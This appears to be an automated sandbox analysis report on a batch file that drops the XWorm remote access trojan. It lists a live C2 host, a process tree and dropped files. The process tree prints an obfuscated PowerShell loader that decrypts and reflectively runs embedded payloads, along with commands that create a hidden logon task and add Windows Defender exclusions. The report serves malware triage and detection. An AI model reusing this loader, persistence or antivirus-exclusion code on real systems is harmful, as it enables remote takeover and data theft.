Analysis

  • max time kernel
    135s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/06/2024, 11:04

General

  • Target
    fenta-logger/bin/fixer/fixer.bat
  • Size 88KB
  • Sample240608-m6bjfaba4y
  • SHA256 2b7272581314f0f4b3cd41c32cc9ebd5950eb1acf67601bd6bdf1365aacc8eab
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • movie-buddy.gl.at.ply.gg:40572

Attributes
  • Install_directory

    %Public%

  • install_file

    Runtime Broker.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fenta-logger\bin\fixer\fixer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3444
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4280
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xFbfyI3XjQWVUv7xboImcLs4365/h1J6HXpT+B8FVLY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UhZC0JRVJsnQjOGyRNg5Zg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mTcjO=New-Object System.IO.MemoryStream(,$param_var); $KQKvZ=New-Object System.IO.MemoryStream; $cfjXo=New-Object System.IO.Compression.GZipStream($mTcjO, [IO.Compression.CompressionMode]::Decompress); $cfjXo.CopyTo($KQKvZ); $cfjXo.Dispose(); $mTcjO.Dispose(); $KQKvZ.Dispose(); $KQKvZ.ToArray();}function execute_function($param_var,$param2_var){ $qAquB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WtyUv=$qAquB.EntryPoint; $WtyUv.Invoke($null, $param2_var);}$rJKpb = 'C:\Users\Admin\AppData\Local\Temp\fenta-logger\bin\fixer\fixer.bat';$host.UI.RawUI.WindowTitle = $rJKpb;$UjBCO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($rJKpb).Split([Environment]::NewLine);foreach ($NfqQG in $UjBCO) { if ($NfqQG.StartsWith('CEoZgkKPGlnZzsVdPujr')) { $gPHGC=$NfqQG.Substring(20); break; }}$payloads_var=[string[]]$gPHGC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:2640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3692
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_818_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_818.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4220
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_818.vbs"
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:244
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_818.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3408
              • C:\Windows\system32\net.exe
                net file
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4568
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 file
                  6⤵
                    PID:4308
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xFbfyI3XjQWVUv7xboImcLs4365/h1J6HXpT+B8FVLY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UhZC0JRVJsnQjOGyRNg5Zg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mTcjO=New-Object System.IO.MemoryStream(,$param_var); $KQKvZ=New-Object System.IO.MemoryStream; $cfjXo=New-Object System.IO.Compression.GZipStream($mTcjO, [IO.Compression.CompressionMode]::Decompress); $cfjXo.CopyTo($KQKvZ); $cfjXo.Dispose(); $mTcjO.Dispose(); $KQKvZ.Dispose(); $KQKvZ.ToArray();}function execute_function($param_var,$param2_var){ $qAquB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WtyUv=$qAquB.EntryPoint; $WtyUv.Invoke($null, $param2_var);}$rJKpb = 'C:\Users\Admin\AppData\Roaming\Windows_Log_818.bat';$host.UI.RawUI.WindowTitle = $rJKpb;$UjBCO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($rJKpb).Split([Environment]::NewLine);foreach ($NfqQG in $UjBCO) { if ($NfqQG.StartsWith('CEoZgkKPGlnZzsVdPujr')) { $gPHGC=$NfqQG.Substring(20); break; }}$payloads_var=[string[]]$gPHGC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                  5⤵
                    PID:3068
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                    5⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Drops startup file
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:4452
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2544
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2980
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4760
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2748

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
                • MD5 SHA1 SHA512

                StartupProfileData-Interactive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                • Size 2KB
                • SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 b7151a59702581451ad3accb25d5aa7889a4d385142568331f42b0fcc2019872
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 bceb96f5c3d31447980eb8cd891bba75b3e5b6eb60abf4d829fc13cd8faf2582
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_4fgfudai.xym.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fgfudai.xym.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                Windows_Log_818.bat

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_818.bat
                • Size 88KB
                • SHA256 2b7272581314f0f4b3cd41c32cc9ebd5950eb1acf67601bd6bdf1365aacc8eab
                • MD5 SHA1 SHA512 SSDEEP

                Windows_Log_818.vbs

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_818.vbs
                • Size 115B
                • SHA256 18a46072b7277e17046f9b6d4c3bea924b57461efef7f091c0fc03121b521b6d
                • MD5 SHA1 SHA512

                memory/3692-12-0x00007FFADF930000-0x00007FFAE03F1000-memory.dmp

                memory/3692-16-0x00000290B38F0000-0x00000290B3902000-memory.dmp

                memory/3692-15-0x00000290B3590000-0x00000290B3598000-memory.dmp

                memory/3692-14-0x00000290B3A10000-0x00000290B3A86000-memory.dmp

                memory/3692-47-0x00007FFADF930000-0x00007FFAE03F1000-memory.dmp

                memory/3692-13-0x00000290B3940000-0x00000290B3984000-memory.dmp

                memory/3692-0-0x00007FFADF933000-0x00007FFADF935000-memory.dmp

                memory/3692-11-0x00007FFADF930000-0x00007FFAE03F1000-memory.dmp

                memory/3692-1-0x0000029099200000-0x0000029099222000-memory.dmp

                memory/4452-46-0x000002089A330000-0x000002089A346000-memory.dmp